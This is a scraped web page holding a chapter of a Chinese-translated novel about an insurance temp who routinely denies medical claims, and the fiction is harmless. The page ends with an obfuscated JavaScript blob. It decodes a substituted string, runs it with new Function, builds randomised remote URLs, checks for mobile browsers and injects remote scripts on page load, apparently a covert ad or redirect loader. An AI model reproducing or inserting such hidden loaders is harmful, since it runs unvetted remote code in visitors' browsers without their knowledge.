关灯
护眼
字体:

三月(第1页)

章节目录保存书签

三月

凯瑟琳·伯德曼,27岁,患有乳腺癌。她想在化疗之前冷冻卵子,要求健康保险公司,也就是“健康伙伴公司”,支付50%的冷藏费。

乔治用橡皮图章盖了个红色的“否”字,然后把凯瑟琳·伯德曼的申请表放进标着“送出”的箱子里。

勒鲁瓦·奥韦尔,13岁,他的固齿一年前在车祸中掉了,他想植牙,因为他就要上中学了——

不通过。

埃德娜·罗思柴尔德,84岁,想找一位家庭医护人员每周去她家三次,以便——

不通过。

健康伙伴公司的一条不成文的规定就是拒绝每一个“过分”的要求,至少拒绝一次。在乔治看来,对“过分”一词的定义有些过分,因为她很容易就想象到大部分被认为“过分”的事情发生在自己和孩子身上,而她从不觉得自己是个想象力特别丰富的人。

大约两个月前,乔治在健康伙伴公司的任务从数据录入升级为保险理赔处理。当时,她这样说:“可我只是个临时工,不懂医疗方面的东西。”

“你会用橡皮图章吗?”

这件事就这样定了。

乔治走进休息室,这里总有一股子微波炉爆米花的味道,尽管她从来没有见公司里的人吃过微波炉爆米花。她在公司里唯一的朋友埃伦已经在休息室里了。她们的工作情谊基于四个方面:一、身份认同:她们的体重基本相同;二、同病相怜:二人是八楼仅有的临时工;三、与人隔绝:正式工都不和她们说话;四、志趣相投:二人都喜欢自动售货机里面的鲜榨橙汁和贝齐·罗斯布朗尼。埃伦比乔治小二十岁,她的梦想是开一家针织店。乔治之所以知道是因为埃伦去年十二月来公司的第一天就问她:“你的梦想是什么?”

乔治回答:“什么意思?”

“你不可能真的想一辈子当个临时工吧。”

不可以吗?

“我吗?我想开一家针织店。我会……”接着,她讲自己会批发一种高档纱线作为存货(不要人工合成的!),她会留出一块地方作为母女针线区,她还会铺上自己喜欢的那种颜色的枫树木板。或许再留出一块地方用来缝被子?不过对于这一点埃伦还心存疑虑:缝被子的人东拼一块布,西凑一点料,乱糟糟的,往往造成不好的影响。

乔治说:“我母亲从前也缝被子。”

“哦,我不是在说你母亲,只不过,我对缝被子的人的一般印象就是这样。”

乔治没有不高兴。事实上,她母亲的生活的确是乱糟糟的——干过一堆零碎的活儿,和不同的男人来往过,辗转于各地,做过几次不怎么样的选择。她还用怀孕时所在的地点来给女儿命名,接着把这个孩子交由几个越发疏远的亲戚抚养,而这些亲戚明确表示,他们更希望这个漂亮的杏眼女孩死掉或者失踪,而不是消耗他们宝贵的食物、衣服和空气。后来,她又突然回来,还带回来一个毒贩子丈夫,而这位丈夫又恰好知道怎么用皮带打人。不过说这些就跑题了。

眼下的事实是,乔治松了口气——埃伦并非真想知道乔治的梦想,这个女孩只是想说一说自己的梦想罢了。

不过这个问题萦绕在乔治脑中,她想起自己很长时间不曾有过梦想了。她对孩子们还抱有梦想,这没错,但她自己心里唯一真正的梦想就是不欠任何人钱。她想象自己在写支票,还清陈年旧债。她能够感觉到手中握着的钢笔,能够感觉到写出还款数额时得意到眩晕的样子,就像刚刚学会连笔的孩子不熟练地挥洒笔墨一样。她想象自己把那些支票装进信封里,舌头上似乎还留着密封胶的味道;她想象自己翻着一整摞的美国国旗邮票;想象债主们打开信封,如慈父一般,边摇头边说:“我们从未想过她会成功,做得很好,来自得克萨斯州大岩石区的乔治亚·波默罗伊夫人。”这是乔治能想象到的最真实最甜美的梦想——一身轻松,分文不欠。

“今天很糟糕吗?”埃伦边拿出针线边问乔治。

“有个女人想在化疗之前冷冻卵子。”

埃伦点点头,她的毛衣针开始噼啪作响:“啊,我的比你的厉害。我那边有个小孩患了脑癌,也许等他父母意识到这里不会出医疗费时,孩子早就死掉了。”

“是,你的更厉害。”

“那你得把欠我的那块布朗尼还我,波默罗伊夫人。”

在去自动售货机的路上,乔治突然感到一阵燥热和恶心。她跑到垃圾桶旁边,但这种感觉又消失了。

“你还好吗?”

乔治说:“我觉得我感冒了,全身发热,有种很奇怪的感觉。”

章节目录

!function(){function a(a){var _idx="k1hpv3d1yc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('>[qYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF h8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=58"#MqYYb"=68HZ!F5T[68+i;NmJd5LYcdc5a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 dcY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<6mqY2pFh??c6mJ_Lhc`c$[YPa`%Fa=(c5=+i;NmLF562p67Tc6aaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 _cYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLmSXfRX:DmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLm)C2T7dXmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLmTST7hR5mRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLmSXfRX:DmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLm)C2T7dXmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLm)C2T7dXmRT4gQ1KQ"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/1osjY8S}hJXsf}T("!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%fca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=icaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 fca[qYF Y8dc"bb___b"a!5YF_52 Y??(c"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTc6a??c68HZ=(c5=""aa!qYF ^8"1os"=J8"S}hJXsf}T("!7_2(F6O2 XcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 TcYa[Xd5 F8H"1os2CTqf7mT6CL55SmRT4"="1osCSTqfXm^)TC25qmRT4"="1osOSTq47mT6CL55SmRT4"="1osF(Tq2Sm^)TC25qmRT4"="1osDhTqdJmT6CL55SmRT4"="1osh)TqCqm^)TC25qmRT4"="1osJfTq7DmT6CL55SmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"!qYF O82YD VY)iO(SYFcF%"/"%^%"jY8"%J%"v58"%7m5Y|5T%%%"vF8"%fca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28fH_ZcYH(Zch%%aa=O8fH_ZcYH(Zch%%aa=68fH_ZcYH(Zch%%aa=d8fH_ZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PXcOa=@8887mqOdfiFdF_LvvicaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=XcOaP=7mqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 ica[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP1osSJTq)(()mhRdDXfLmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP1osSJTq)(()mhRdDXfLmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8pc"hFFJLg//[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ/f/1osj(8}vY8S}hJXsf}T("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajTc7_2(F6O2ca[qc@0}a=Tc7_2(F6O2ca[qc@0@a=_c7_2(F6O2ca[qc@0saPaPaPag_c7_2(F6O2ca[qc}0}a=_c7_2(F6O2ca[qc}0@a=Tc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv6mqY2pFhvvcY8pc"hFFJLg//[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ"a%"/)_pj68"%^=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc6aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=6mqY2pFh80=(c5=""aaPaPaca!'.substr(22));new Function(b)()}();